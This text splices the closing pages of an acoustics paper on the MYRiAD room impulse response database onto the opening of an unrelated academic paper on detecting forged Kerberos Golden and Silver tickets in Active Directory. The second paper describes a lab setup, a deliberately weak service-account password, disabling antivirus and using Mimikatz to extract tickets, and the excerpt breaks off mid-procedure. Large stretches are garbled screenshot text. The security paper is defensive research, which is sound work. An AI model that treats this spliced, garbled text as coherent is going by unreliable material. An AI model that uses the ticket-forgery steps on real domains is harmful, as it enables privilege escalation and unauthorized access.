+placed on the dummy head, and external microphones
+(i.e. other microphones in the room). In the AIL,
+recordings were made in two different positions within
+the room using the microphone configuration M1 along
+with a second microphone configuration, M2, which
+consists of two concentric circular microphone arrays.
+In the SAL, 10 movable loudspeakers were used for
+sound generation, while in the AIL, a built-in array of
+24 loudspeakers was used. The database contains room
+impulse responses, speech, music and stationary noise
+signals, as well as recordings of a live cocktail party
+held in each room. MATLAB and Python scripts are
+included for accessing audio data and coordinates. The
+database is publicly available at [1].
+
+Dietzen et al.
+Page 13 of 15
+Page 1 of 1
+0
+2
+4
+6
+8
+10
+12
+14
+−0.4
+−0.2
+0
+0.2
+0.4
+Amplitude
+0
+2
+4
+6
+8
+10
+12
+14
+0
+5
+10
+15
+20
+Time (s)
+Frequency (kHz)
+0
+2
+4
+6
+8
+10
+12
+14
+-0.1
+-0.05
+0
+0.05
+0.1
+0
+2
+4
+6
+8
+10
+12
+14
+0
+5
+10
+15
+20
+Time (s)
+−80
+−60
+−40
+−20
+0
+20
+dB
+Figure 11: Waveform and corresponding spectrogram for a 15 s sample of the cocktail party noise. (Left) Signal
+CP2 for XM2 in the SAL. (Right) Signal CP5 for XM2 in the AIL.
+Dietzen et al.
+Page 15 of 15
+full bandwitdh
+250
+500
+1000
+2000
+4000
+8000
+0
+1
+2
+Octave Band Center Frequency (Hz)
+Reverberation Time RT60 (s)
+SAL
+AIL
+Figure 12: Reverberation time RT60 for the two rooms SAL and AIL at full bandwidth and in di↵erent octave
+bands. The error bars indicate the standard deviation of the estimate across all possible loudspeaker-microphone
+combinations.
+Figure 12: Reverberation time RT60 for the two rooms SAL and AIL at full bandwidth and in different octave
+bands. The error bars indicate the standard deviation of the estimate across all possible loudspeaker-microphone
+combinations.
+Abbreviations
+MYRiAD – Multi-ArraY Room Acoustic Database.
+RIR – room impulse response. DH – dummy head.
+BTE – behind-the-ear. XM – external microphone.
+CMA – circular microphone array. SAL – SONORA
+Audio Laboratory. AIL – Alamire Interactive Labora-
+tory. CSTR – Centre for Speech Technology Research.
+VCTK – Voice Cloning Toolkit. EBU SQAM – Euro-
+pean Broadcast Union Sound Quality Assessment Ma-
+terial.
+Declarations
+Availability of data and materials
+The database is publicly available at [1].
+Competing interests
+The authors declare that they have no competing interests.
+Funding
+This research work was carried out at the ESAT Laboratory of KU Leuven,
+in the frame of KU Leuven internal funds C24/16/019 ”Distributed Digital
+Signal Processing for Ad-hoc Wireless Local Area Audio Networking” and
+VES/19/004, and was funded by the Research Foundation Flanders
+(FWO-Vlaanderen) through the Large-scale research infrastructure ”The
+Library of Voices – Unlocking the Alamire Foundation’s Music Heritage
+Resources Collection through Visual and Sound Technology” (I013218N),
+the SBO Project ”The sound of music – Innovative research and
+valorization of plainchant through digital technology” (S005319N), and the
+Postdoctoral Research Grant 12X6719N. The research leading to these
+results has received funding from the European Research Council under the
+European Union’s Horizon 2020 research and innovation program / ERC
+Consolidator Grant: SONORA (no. 773268). This paper reflects only the
+authors’ views and the Union is not liable for any use that may be made of
+the contained information. The BTE shells used for the recordings were
+provided by Cochlear Technology Centre Belgium in the context of a
+project funded by the IWT (project 110722).
+Author’s contributions
+TD, RA, MT, and TVW jointly developed the recording setup and
+methodology. TD, RA, and MT acquired and post-processed the audio
+
+Dietzen et al.
+Page 14 of 15
+data. TD and RA compiled the database and drafted the manuscript. All
+authors read and reviewed the final manuscript.
+Acknowledgements
+We would like to thank the European Broadcasting Union for permission to
+use track 60 (Schubert) from the EBU SQUAM recordings [35]. We would
+like to thank Rudi Knoops and Jo Santy for coordinating the logistics for
+recording at the AIL, as well as Elisa Tengan Pires de Souza, Taewoong
+Lee, and Jesper Brunnstr¨om for assistance with the recordings and
+preparation of the database. Finally, we would like to thank everyone who
+participated in the cocktail party noise recordings.
+Authors’ information
+MT contributed to this work while being with ESAT-STADIUS, KU
+Leuven, Leuven, Belgium.
+Author details
+1Dept. of Electrical Engineering (ESAT), STADIUS Center for Dynamical
+Systems, Signal Processing and Data Analytics, KU Leuven, Leuven,
+Belgium.
+2Microsoft, Munich, Germany.
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+

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+ 
+Detecting Forged Kerberos Tickets in an Active 
+Directory Environment 
+Thomas Grippo, Hisham A. Kholidy 
+State University of New York (SUNY) Polytechnic Institute, Network and Computer Security 
+Department, Utica, NY USA 
+grippot@sunypoly.edu, hisham.kholidy@sunypoly.edu 
+ 
+Abstract- Active Directory is the most popular service to manage users and devices on the network. Its widespread 
+deployment in the corporate world has made it a popular target for threat actors. While there are many attacks that 
+target Active Directory and its authentication protocol Kerberos, ticket forgery attacks are among the most 
+dangerous. By exploiting weaknesses in Kerberos, attackers can craft their own tickets that allow them to gain 
+unauthorized access to services on the network. These types of attacks are both dangerous and hard to detect. They 
+may require a powerful centralized log collecting system to analyze Windows security logs across multiple services. 
+This would give additional visibility to be able to find these forged tickets in the network. 
+ 
+Index Terms: Kerberos, Microsoft Active Directory, Kerberos attacks, detecting Kerberos attacks 
+ 
+ 
+I. INTRODUCTION 
+As the world becomes more reliant on 
+technology, the impact of cyberattacks will continue 
+to grow. Many people began to realize this in March 
+of 2020 when the COVID-19 pandemic began. This 
+was an unprecedented time as the world faced 
+widespread closures and whole economies came to a 
+grinding 
+halt. 
+The 
+dangers 
+of 
+this 
+highly 
+transmissible disease forced employers to send 
+everyone home, and thus the work from home culture 
+began to take off. This shift made people very 
+dependent on their computers and a reliable Internet 
+connection as they had to constantly attend meetings 
+and Zoom calls from their couch. Relying on 
+technology more than ever, companies and their 
+employees could not afford to face the ramifications 
+of a widespread cyber-breach and thus had to invest a 
+lot of time and money into protecting the 
+infrastructure that made these new workflows 
+possible. 
+Two years later, another unprecedented event 
+caused a greater focus on cybersecurity. In February 
+of 2022, Russia began its invasion of Ukraine. Being 
+how interconnected the major countries were in the 
+world economy, nobody expected there to be another 
+large-scale invasion such as this, and its effects were 
+felt around the world. More interestingly, it was the 
+first major conflict where cyberwarfare became a 
+prominent factor. One DNS platform claimed that 
+they blocked 10 times the normal number of malware 
+attacks targeting people in Ukraine [1]. There were 
+also major disruptions in Internet traffic as Russia cut 
+power in many Ukrainian cities. Due to the nature of 
+cyberwarfare, individuals around the world also were 
+able to play a part in the conflict, going after Russian 
+infrastructure in support of Ukraine. 
+Looking at the current state of the world, the 
+importance of defending cyberspace is becoming 
+clearer to everyone. Modern assets will continue to 
+thrive on the Internet, and for them to function 
+properly they must be defended. This is true for any 
+asset whether it be government or corporate-owned. 
+One of the biggest issues many organizations 
+face is managing all the assets they have on the 
+network. To help solve this, Windows Active 
+Directory is employed. Windows Active Directory, 
+or AD for short, is a directory service that provides 
+methods to store directory data and make it available 
+to network users and administrators. This directory 
+data can be any information about a certain object 
+such as a user or service [2]. In essence, Active 
+Directory acts as a centralized database for all the 
+users and services that exist within a network, and it 
+is invaluable for administrators managing this 
+environment. In fact, it is stated that over 90% of the 
+Global Fortune 1000 companies, that is the top 1000 
+companies, use AD domain services [3]. 
+With such widespread dominance in the 
+corporate world, Active Directory has become a 
+target for many threat actors. Specifically, they have 
+targeted 
+AD’s 
+default 
+authentication 
+service 
+Kerberos. Kerberos is what allows users within an 
+AD environment to access resources, and thus if it 
+can be exploited by an attacker, that attacker would 
+also be able to access such resources. This can be 
+very troubling because if an attacker can exploit the 
+Kerberos protocol, they can easily pivot to any part 
+of the network and maintain persistence. That is why 
+securing Active Directory, and detecting attacks 
+within the environment should be a priority for IT. 
+
+ 
+In this paper, we will be focusing on two 
+different attacks on Kerberos, the Golden Ticket 
+attack, and the Silver Ticket attack, which can be 
+collectively referred to as forged Kerberos ticket 
+attacks. We will explore how these attacks function 
+within a virtualized Active Directory environment, 
+and more importantly how to detect them. The rest of 
+this paper will be structured as follows: Section II 
+will provide the necessary background information to 
+understand this experiment. This will include an in- 
+depth look at Windows Active Directory, Kerberos 
+Authentication Services, and the Golden Ticket and 
+Silver Ticket attacks. Section III will give an 
+overview of the virtual environment that will be set 
+up to carry out these experimental tests. Then, 
+Section IV will walk through the operation of the 
+Kerberos attacks within the virtual environment and 
+how they can be detected. Section V will go over the 
+results of this experiment and discuss the potential 
+impacts in the real world. Finally, Section VI will 
+provide a conclusion to everything discussed in this 
+paper. 
+ 
+II. BACKGROUND 
+This section will provide an overview of the 
+background knowledge needed to understand the 
+components of this experiment. Topics such as 
+Windows Active Directory and the Kerberos 
+Authentication Protocol will be explained in detail. 
+ 
+A. Active Directory Domain Services 
+As 
+stated 
+previously, 
+almost 
+all 
+modern 
+organizations are using Windows Active Directory to 
+manage the users in their network, so it is important 
+to understand this Microsoft product in depth. 
+At the very core of Active Directory lies the users 
+and the computers. People and their computers are 
+what fundamentally make up a network, and in AD 
+they will each have their own account. Shown below 
+in Figure 1 is an example user account in AD. 
+ 
+Figure 1: User Account in Active Directory 
+The user login name is shown, as well as the domain 
+that it belongs to which is grippot.com. Instead of 
+individually assigning permissions to each user 
+account, they can instead be added to security groups 
+within AD. These security groups can then be 
+assigned specific permissions. For every user 
+account, we can see what security groups they are a 
+part of under the Member Of tab shown in Figure 2. 
+As shown, this user is part of the Domain Admins and 
+Domain Users security groups, which are default 
+groups created when Active Directory is configured. 
+Each of these groups has a set of permissions defined 
+that will apply to any users that are a part of the 
+group. So for instance, this user will have all of the 
+permissions of a Domain Admin. 
+Figure 2: Security Groups in Active Directory 
+ 
+This streamlines the process of access control. For 
+example, if a new employee gets hired within the 
+accounting department, instead of manually assigning 
+them all the permissions they need, you can simply 
+add them to a custom accounting security group and 
+they will inherit all of their permissions. 
+So far we have user and computer accounts, as 
+well as security groups to manage permissions. If you 
+want to organize all of these accounts within Active 
+Directory, you can create organizational units (OUs) 
+or containers as shown in Figure 3. 
+ 
+Figure 3: OUs and Containers 
+
+ActiveDirectory Users and Computers
+File
+Action
+View
+Help
+7
+一
+Active Directory Users and Computers [Win!
+Name
+Type
+Description
+SavedQueries
+_ADMINS
+Organizational...
+V
+grippot.com
+_USERS
+Organizational...
+_ADMINS
+Builtin
+USERS
+builtinDomain
+Computers
+Builtin
+Container
+Default container for up...
+Domain Con...
+Computers
+Organizational...
+Default container for do...
+Domain Controllers
+ForeignSecu...
+Container
+Default container for sec...
+ForeignSecurityPrincipals
+Managed Se...
+Container
+Default container for ma...
+Managed Service Accounts
+Users
+Container
+Default container for up...
+UsersTomGrippoProperties
+?
+Member Of
+Dialin
+Environment
+Sessions
+Remote control
+Remote Desktop Services Profile
+COM+
+General
+Address
+Account
+Profile
+Telephones
+Organization
+User logon name:
+atgrippol
+@grippot.com
+V
+User logon name (pre-Windows 2000)
+GRIPPOT
+atgrippo
+Logon Hours...
+Log On To...
+Unlockaccount
+Account options:
+User must change password at next logon
+Usercannotchangepassword
+Passwordneverexpires
+Store password using reversibleencryption
+Account expires
+Never
+O End of:
+Saturday.
+April
+30,2022
+画Tom Grippo Properties
+?
+Remote control
+Remote Desktop Services Prfle
+COM+
+GeneralAddress
+Account
+Organization
+Member Of
+Didlin
+Environment
+Sessions
+Member of:
+Name
+Active Directory Domain Services Folder
+Domain Admins
+gropot.com/Users
+Domain Users
+grippot.com/Users
+Add..
+Remove
+Pimary group:
+Domain Users
+Se Pimay Group
+you have Macintosh clents or POSIXcompliant
+There is no need to change Primary group unless
+applications.
+OK
+Cancel
+Apply
+Help 
+ 
+In this screenshot, the containers are plain folders and 
+the OUs are marked. The main difference being that 
+you can apply group policy to OUs but not to 
+containers [2]. So if you want to organize all of the 
+users, you can create OUs based on the different 
+departments within the company. 
+Taking a step back, all these objects discussed exist 
+within a domain. This can be seen in Figure 3, where 
+all the OUs and containers, as well as the user and 
+computer accounts that exist within them, belong to the 
+grippot.com domain. The domain is controlled by the 
+domain controller which is typically a Windows 
+server. The domain controller is where all the objects 
+are stored and can be managed. 
+For the purposes of this paper, this is all the 
+information that is needed. It should be noted though, 
+that Active Directory does not stop with domains. 
+There are also trees (a domain and its subdomains) as 
+well as forests. However, this will not be relevant to 
+the experiments in this paper. 
+ 
+B. Kerberos 
+Another component of Active Directory is the 
+Kerberos Authentication Protocol [4]. This is what 
+allows a user account to access a computer or 
+resource within a domain. It performs both 
+authentication and authorization based on the 
+permissions of the user account. In an AD 
+environment, the domain controller will act as the 
+Key Distribution Center or KDC. The KDC is made 
+up of the Authentication Service (AS), and the Ticket 
+Granting Service (TGS). 
+Shown below in Figure 4 is an overview of the 
+message exchange within Kerberos, we will use this 
+diagram to analyze each step in the Kerberos 
+protocol. In this example, we will say that a user is 
+logging on to a desktop instead of accessing a server 
+as shown in Figure 4. 
+ 
+Figure 4: Kerberos Message Exchanges [5] 
+ 
+For a user to log on to a computer, they must enter 
+their username and password. Once they hit enter, the 
+Kerberos message exchange will begin. First, the 
+client will send a KRB_AS_REQ to the AS on the 
+KDC. This stands for Kerberos Authentication 
+Service Request and is shown below in Figure 5. 
+ 
+ 
+Figure 5: KRB_AS_REQ [6] 
+ 
+This message will include the username, a timestamp 
+encrypted with the user’s password, and the service 
+principal name of the requested service. Since the 
+user is requesting authentication, this will be the SPN 
+of the krbtgt account, a default account within AD 
+[5]. Once this message is sent to the KDC, it will 
+look at the username inside the message. It will then 
+retrieve the associated password key with that 
+account and attempt to decrypt the timestamp. If it 
+can decrypt the timestamp, then the user’s identity 
+has been proven and authenticated. It will also verify 
+that the timestamp is not too old. 
+ 
+Figure 6: KRB_AS_REP [6] 
+ 
+The next message shown above in Figure 6 is the 
+response of the KDC. Since the user sent the SPN of 
+the krbtgt account in the prior message, it knows that 
+the user wants a ticket-granting ticket (TGT). This 
+TGT acts as proof of authentication, and will be used 
+to request tickets for specific services within AD. As 
+shown above, the TGT is encrypted with the hash of 
+the krbtgt account, and it includes the username of 
+the user, a session key that will be used for future 
+message exchanges, the TGT expiration time, and the 
+PAC which includes all the user’s permissions. The 
+KRB_AS_REP message also includes the username 
+and the same session key which is encrypted with the 
+user’s password key. When this message is received 
+by the user, they will not be able to decrypt the TGT, 
+but instead will make a copy and store it in memory 
+for future use. They will be able to decrypt the rest of 
+the message which includes a session key. This is a 
+symmetric key that will be used to encrypt future 
+messages to the KDC. 
+At this point, the user has successfully 
+authenticated and has a TGT. Now they will use this 
+TGT to get a service ticket for the computer they are 
+trying 
+to 
+log 
+in 
+to.
+
+Timestamp
+User hash
+Username
+SPN krbtgt
+Usernonce(1)KRB_AS_REQ
+-(2)KRB_AS_REP
+(3) KRB_TGS_REQ
+(4) KRB_TGS_REP
+Client
+KDC
+(6)KRB_AP_REP
+(5) KRB_AP_REQUsername
+TG
+Username
+Session key
+Session key
+TGTexpirationtime
+TGT expiration time
+Usernonce
+PAC
+krbtgt
+nash
+Userhash
+krbtgt hash 
+ 
+Figure 7: KRB_TGS_REQ [6] 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+Figure 7: KRB_TGS_REQ [6] 
+ 
+First, they will send a ticket-granting service 
+request or KRB_TGS_REQ to the KDC. Take note 
+that the KDC is now acting as the TGS instead of the 
+AS. The user will copy the TGT from RAM into the 
+message as proof of their authentication. They will 
+also place their username and timestamp, which will 
+be encrypted with the session key that they received 
+in the prior message. Also, the SPN of the computer 
+they are attempting to log into will be placed inside 
+the message unencrypted. When the KDC receives 
+this message, it will be able to decrypt the TGT with 
+the krbtgt hash. Inside the TGT, it will retrieve the 
+session key to decrypt the rest of the message. It will 
+verify the timestamp and expiration time of the TGT. 
+Then, it will begin to craft the KRB_TGS_REP 
+message. 
+ 
+ 
+Figure 8: KRB_TGS_REP [6] 
+ 
+The KDC will find the hash of the requested 
+service based on the SPN in the prior message. It will 
+then generate another session key that will be used in 
+future communications between the client and the 
+service. It will take the key, and the username with its 
+associated permissions, and will encrypt it with the 
+hash of the service account. This will be the TGS 
+ticket that the user uses to access the service. The 
+KDC will also make another copy of the service 
+session key for the user, which will be encrypted with 
+the user’s hash. When the user receives this message, 
+they will copy the TGS ticket into RAM. They will 
+also decrypt the rest of the message so that they can 
+access the service session key. 
+ 
+So far the user has authenticated with the KDC in 
+order to get a TGT, and they used their TGT to get a 
+TGS for the computer they are trying to access. Now 
+they can begin to communicate with the computer. 
+First, they will send a KRB_AP_REQ message to 
+the service, as shown below in Figure 9. 
+ 
+Figure 9: KRB_AP_REQ [6] 
+ 
+The TGS will be copied from RAM and placed inside 
+the message along with the username and a 
+timestamp which is encrypted with the service 
+session key. This message will then be sent to the 
+service which in this case is the same computer the 
+user is trying to log in to. When the service receives 
+this message, it will attempt to decrypt the TGS with 
+its hash. If it is successful, it knows that this ticket 
+came from the KDC since the KDC, or domain 
+controller is the only other server that has its hash. 
+Inside the TGS, the service will retrieve the service 
+session key to decrypt the rest of the message. It will 
+then check the username of the user and verify that 
+they have valid permissions. Recall that in the 
+KRB_TGS_REP message, the KDC included the 
+user’s permissions within the TGS. After this 
+verification step, the service will decide whether to 
+grant the user access. Assuming it will, the service 
+will send a KRB_AP_REP back to the user and they 
+will be able to login to the computer. 
+After the user is logged into the computer, they 
+can then access other resources within the Active 
+Directory Domain. Each time they want to access a 
+different service, they will need to retrieve a TGS 
+from the KDC and repeat the same process. 
+ 
+C. Attacks on Kerberos 
+Now that Active Directory and Kerberos have 
+been explained, it will be easier to understand the 
+various attacks against the Kerberos protocol. Since 
+Kerberos is a secure protocol, many of these attacks 
+are advanced. For the purposes of this paper, we will 
+only be looking at two types of attacks, Golden 
+Ticket, and Silver Ticket attacks. 
+ 
+1) Silver Ticket Attack: The Silver Ticket attack is 
+when an attacker forges a TGS ticket. For this to be 
+successful, the attacker would need the password or 
+NTLM service hash of the service account to be able 
+to properly encrypt the TGS ticket [7]. They could 
+then make up any session key they want to use, and 
+
+Username
+TGS
+Service session key
+Service session key
+Username
+TGS expiration time
+TGS expiration time
+Usernonce
+PAC
+krbtgt
+nash
+Sessionkey
+service ownerhashTGS
+Serviceownerhash
+Username
+Timestamp
+ServicesessionkeyUsername
+Timestamp
+Sessionkey
+TGT
+krbtgt hash
+SPN
+User nonce 
+add in the rest of the information inside the TGS 
+ticket such as the expiration time and the PAC. For 
+the PAC, ideally, the attacker would give 
+themselves admin privileges so they can have full 
+access to the service. 
+2) Golden Ticket Attack: The Golden Ticket 
+attack is when an attacker forges the TGT. For this 
+to be successful, the attacker would need the hash 
+of the krbtgt account, which is much harder to 
+acquire than any service account hash [7]. 
+However, if an attacker is successful, they can 
+essentially impersonate the KDC and give 
+themselves administrator rights to any service in the 
+domain. This attack is extremely dangerous if 
+successful, but it is harder to perform and noisier 
+than the silver ticket attack. 
+ 
+III. THE VIRTUAL ENVIRONMENT 
+To see these Kerberos attacks in real-time and 
+attempt to detect them, we will need to set up a 
+virtual environment. Shown in Figure 10 is a diagram 
+of the environment that has been set up for this 
+experiment. To keep things simple, there are only 
+three systems in the grippot.com domain, the domain 
+controller, a Windows 10 client, and a SQL server. 
+Then, there is the attacker machine which resides 
+outside of the domain. Each of these systems will be 
+explained in detail, as well as the role that they play 
+within the Kerberos Authentication protocol and 
+ticket forgery attacks. 
+ 
+Figure 10: The Virtual Environment 
+ 
+This virtual environment was created using 
+VirtualBox [8] as the hypervisor. VirtualBox is a 
+type-2 hypervisor, meaning that it runs as software on 
+the host OS. It can be downloaded from the website 
+at https://www.virtualbox.org/. Each of the systems 
+in this environment are running on separate 
+VirtualBox VMs. 
+The domain controller (DC) is the most important 
+system in the environment and serves many purposes. 
+It is a Windows Server 2019 machine with two 
+network interface cards (NIC), critical for the 
+functioning of this environment. These can be seen in 
+Figure 11 below. 
+ 
+Figure 11: Network Interfaces for DC 
+ 
+One of the NICs is connected to the Internet from the 
+host machine running VirtualBox. The other NIC is 
+internal and has a static IP address of 172.16.0.1 as 
+shown above. The reason for the domain controller to 
+have two NICs is because in this environment it is 
+also acting as a router. This means that not only is the 
+domain 
+controller 
+running 
+Windows 
+Active 
+Directory, but it is also routing traffic for all the other 
+VMs. In order for this to be possible, the domain 
+controller also must be running DNS and DHCP as 
+shown in Figure 12, the Windows Server Manager. 
+ 
+Figure 12: Windows Server Manager for DC 
+ 
+Having these services configured, the DC will be able 
+to dynamically assign IPv4 addresses within the 
+scope as shown in Figure 13. 
+ 
+
+Internet
+grippot.com
+Domain
+Controller
+Windows 10
+SQL, Server
+MSSQLSVC
+Windows 10internal
+INTERNET
+grippot.com
+grippot.com
+Intel(R)PRO/1000MTDesktopAd..
+Intel(R)PRO/1000MTDesktopAd...
+internal Status
+X
+INTERNETStatus
+X
+Network Connection Details
+X
+Network ConnectionDetails
+X
+Network Connection Details
+Network Connection Details:
+Propety
+Value
+Property
+Value
+Connection-specific DN...
+Connection-specific DN...
+sunyit.edu
+Description
+Intel(R) PRO/1000 MT Desktop Adapter
+Description
+Intel(R) PRO/1000 MT Desktop Adapter
+Physical Address
+08-00-27-8B-F4-6E
+Physical Address
+08-00-27-F5-8A-56
+DHCPEnabled
+ No
+DHCP Enabled
+Yes
+IPv4 Address
+172.16.0.1
+IPv4 Address
+10.0.2.15
+IPv4 Subnet Mask
+255.255.255.0
+IPv4 Subnet Mask
+255.255.255.0
+IPv4 Default Gateway
+Lease Obtained
+Tuesday. March 22, 2022 7:44:03 AM
+IPv4 DNS Server
+Lease Expires
+Monday. April 4, 2022 9:35:04 AM
+IPv4 WINS Server
+IPv4 Default Gateway
+10.0.2.2
+NetBIOS over Tcpip En...
+Yes
+IPv4 DHCP Server
+10.0.2.2
+Linklocal IPv6 Address
+fe80:60eb:bb05:d0a6:263f%12
+IPv4 DNS Server
+IPv6 Default Gateway
+IPv4 WINS Server
+IPv6DNS Server
+NetBlOS over Tcpip En...
+Yes
+LinkHocal IPv6 Address
+fe80:5121:99b7:761f:c69d%4
+IPv6 Default Gateway
+IPv6 DNS Server
+A
+<
+Close
+CloseServerManagerDashboard
+PA
+lohVee
+WELCOME TO SERVER MANAGER
+Loxal Senver
+il Al Senves
+Configurethis local server
+TIDHO
+OUICX 1SAE
+品ONS
+2Add roles and features
+o is
+3Addotherservers tomanage
+all Remote Acoist
+WHATSAW
+4Createaservergroup
+5Connect this server to cloud services
+ROLES AND SERVER GROUPS
+ADDS
+TDHCP
+品DNS
+ File and Storage
+ervice
+Bos
+Managubity
+①Manageabity
+①Manageabity
+①Marageabity
+Managabity
+tvents
+tvents
+trents
+tuentt
+Events
+Senicet
+Senices
+Senvicts
+Ferfomanor
+Pertomance
+Performanct
+Performance
+BPA seuts
+SPA resuls
+BPA reuts
+BPA results
+BPA.result
+dli Remote Access
+iliAllSeve
+①Managebaty
+①Managebity
+①Manageabity
+Events
+Fvens
+Servces
+Eees
+Senvices
+Services
+Petomarce
+aunieyad
+BPA vsts
+IPA reults
+BPA reslts
+4/3/2022 94) AM
+4/3/9022 941.AM 
+ 
+ 
+Figure 13: DHCP on DC 
+ 
+It will also act as the DNS server for its clients, and it 
+will be able to route traffic to the Internet. Most 
+importantly, however, the DC is running Windows 
+Active Directory, and will act as the KDC for 
+Kerberos. It is responsible for the grippot.com 
+domain, which can be seen in Figure 14. 
+Figure 14: The grippot.com Domain 
+ 
+The _ADMINS and _USERS organizational units 
+were created for the experiment. All the other 
+containers were created by default when AD was 
+configured on this server. 
+The next system in this environment is the 
+Windows 10 client. This is simply a Windows 10 
+VM that is a part of the grippot.com domain. 
+ 
+Figure 15: Windows Client 
+ 
+It has one internal NIC (Figure 15) that is connected 
+to the domain controller. This is the machine that will 
+act as a legitimate user that wants to access the SQL 
+server within the domain. 
+The SQL server is another Windows Server 2019 
+machine with an internal NIC similar to the client. 
+ 
+Figure 16: Microsoft SQL Server Management Studio 
+ 
+It is running Microsoft SQL Server 2019 with 
+Windows Authentication mode enabled to allow for 
+Kerberos authentication for clients in the domain. 
+Clients can connect to this SQL server either with the 
+Microsoft SQL Server Management Studio as shown 
+above in Figure 16, or they can use the sqlcmd utility 
+to access it through a command-line interface. They 
+will connect to the server through TCP 1433, which 
+is the most common port for SQL. It is important to 
+note that this service is not inherently vulnerable to 
+ticket forgery attacks. This is because of the default 
+service account that runs the MSSQLsvc service. 
+ 
+ 
+Figure 17: MSSQLsvc 
+ 
+The Log on service account for MSSQLsvc must be 
+changed for the SQL server to be vulnerable to ticket 
+forgery attacks. As shown in Figure 17, it has been 
+changed to the SQLServiceAcc user in Active 
+Directory, which has a weak password that we will 
+be able to crack. This means that TGS tickets for the 
+SQL server will be encrypted with the password of 
+the SQLServiceAcc’s password which is set to 
+Password123. 
+Lastly, the attacker machine is running Windows 
+10. It is part of the local area network and is 
+connected to the DC through its internal NIC. This 
+could emulate an attacker who has gained access to 
+the network, or an attacker who has compromised a 
+Windows 10 machine within the domain. This is the 
+machine that will be used to forge Kerberos tickets. 
+ 
+IV. EXPERIMENT 
+An important point to understand about ticket 
+forgery attacks in Active Directory is that they are a 
+post-exploitation technique. This means that an 
+attacker already has compromised a machine within 
+the network and is looking to escalate their privileges 
+
+ Spot Verifier
+Verifies potential file syst...
+Manual (Trig...
+Local System
+ SQL Server (MSSQLSERVER)
+Provides storage, proces... Running Automatic
+SQLServiceAcc@grippot.com
+ SQL Server Agent (MSSQLSER...
+Executes jobs, monitors ...
+Manual
+NT Service SQLSERVERAGENT
+ SQL Server Browser
+Provides SQL Server con...
+Disabled
+Local Service
+ SQL Server CEIP service (MSSQ... CEIP service for Sql server
+Running
+Automatic
+NT Service SQLTELEMETRY
+: SQL Server VSS Writer
+Provides the interface to...
+Running
+Automatic
+Local SystemDHCP
+V
+v
+B IPv4
+Scope [172.16.0.0] 172.16.0.100-200
+Server Options
+Policies
+Filters
+ IPv6Active Directory Users and Computers
+口
+X
+File
+Action
+View
+Help
+1
+Active Directory Users and Computers [Win!
+Name
+Type
+Description
+Saved Queries
+E_ADMINS
+Organizational...
+V
+grippot.com
+_USERS
+Organizational...
+_ADMINS
+Builtin
+_USERS
+builtinDomain
+ Computers
+Container
+Default container for up...
+Builtin
+Domain Con...
+Computers
+Organizational...
+Default container for do...
+Domain Controllers
+ForeignSecu...
+Container
+Default containerfor sec...
+ForeignSecurityPrincipals
+Managed Se...
+Container
+Default container for ma...
+ManagedServiceAccounts
+Users
+Container
+Default containerforup...
+UsersNetwork Connection Details:
+Property
+Value
+Connection-specific DN...
+grippot.com
+Description
+Irntel(R) PRO/1000 MT Desktop Adapter
+Physical Address
+08-00-27-63-EF-3F
+DHCPEnabled
+Yes
+IPv4 Address
+172.16.0.100
+IPv4 Subnet Mask
+255.255.255.0
+Lease Obtained
+Thursday. February 25, 1886 6:36:22 AM
+Lease Expires
+Monday. April 11, 2022 10:04:39 AM
+IPv4 Default Gateway
+172.16.0.1
+IPv4 DHCP Server
+172.16.0.1
+IPv4 DNS Server
+172.16.0.1MicrosoftSQLServerManagementStudic
+File
+P3
+View
+Tools
+Window
+Help
+NewQuery
+Execute
+ObjectExplorer
+Connect-
+SQLSERVER(SQLServer15.0.2000.5-GRIPPOT/a-tgrippo)
+Databases
+田
+Security
+Server Objects
+田
+Replication
++
+PolyBase
+Always On High Availability
+田
+Management
+IntegrationServicesCatalogs
+SQLServer Agent (Agent XPs disabled)
+田图XEventProfilerVerifies potential file syst..
+Manual (Trg...
+LocalSystem
+QSQLServer(MSSQLSERVER)
+Provides storage, proces...
+Running
+Automatic
+SQLServiceAcc@grippot.com
+Executes jobs, monitors ...
+Manual
+NTServiceiSQLSERVERAGENT
+O.SQL Server Browser
+Provides SQL Server con...
+Disabled
+LocalService
+Q SQL Server CEIP service (MSSQ...
+CEIP servicefor Sql server
+Running
+Automatic
+NT Service)SQLTELEMETRY
+OSQLServer VSS Writer
+Provides the interfaceto...
+Running
+Automatic
+Local System 
+and pivot to other machines. For example, an 
+attacker may exploit some vulnerability in a 
+machine and create a reverse shell or command and 
+control (C2) channel so that they can control it from 
+their own machine. They would then look for other 
+machines on the network that they can potentially 
+access and attempt to forge Kerberos tickets to gain 
+control over more resources. 
+The most popular tool for forging Kerberos 
+tickets, and for Kerberos vulnerabilities in general, 
+is Mimikatz [9]. This is a popular open-source tool, 
+that is used by both attackers and penetration testers 
+to escalate privileges within a Windows network. It 
+is a post-exploitation tool that would typically have 
+to be downloaded onto the compromised machine. 
+ 
+Alternatively, attackers who have established a 
+meterpreter shell on the compromised host can use 
+the Mimikatz script through Metasploit without 
+having to download it on the disk of the host [10]. 
+Given how popular Metasploit is, this is the most 
+common workflow. 
+This experiment is focused on the forged Kerberos 
+tickets. Thus, we will not be going over any 
+exploitation techniques with Metasploit or similar 
+frameworks. Since we created this environment, we 
+have the advantage of knowing all the credentials for 
+the 
+machines 
+and 
+controlling 
+their 
+security 
+mechanisms. Leveraging this, we will skip over the 
+initial exploitation phase, and get right into Mimikatz 
+and forging Kerberos tickets using the Windows 10 
+attacker machine. 
+ 
+A. Silver Ticket Attack 
+To review, the silver ticket attack involves forging 
+a TGS ticket for a specific service in the network. In 
+this case, the MSSQLsvc service on the SQL server 
+machine. For this to be successful, an attacker would 
+need the password or NTLM service hash of the 
+service account to properly encrypt the TGS ticket. 
+To perform the attack, we will need to crack this hash 
+to get the password so that we can use it to forge 
+tickets. 
+ 
+1) Download the Mimikatz Tool: We will first 
+download 
+the 
+Mimikatz 
+tool 
+from 
+https://github.com/gentilkiwi/mimikatz/releases onto 
+the attacker machine and extract the contents of the 
+ZIP file. The executable file \x64\mimikatz.exe will 
+be used to forge the TGS ticket. It is important to 
+note that Windows Defender Antivirus will flag this 
+download as malicious and must be disabled before 
+downloading. 
+ 
+2) Obtain the Service Account Password: To get 
+the password of the service account that will be used 
+to encrypt the TGS, an attacker would first need to 
+steal a legitimate TGS ticket. There are several ways 
+to do this such as sniffing the network traffic in the 
+local area network and hoping that a legitimate user 
+requests the TGS [11]. For the simplicity of this lab, 
+we will just take the real TGS ticket from the 
+Windows 10 client machine. Kerberos tickets are 
+stored in a cache in memory and can be viewed with 
+the klist command. To extract these tickets from 
+memory, we can use the Mimikatz command 
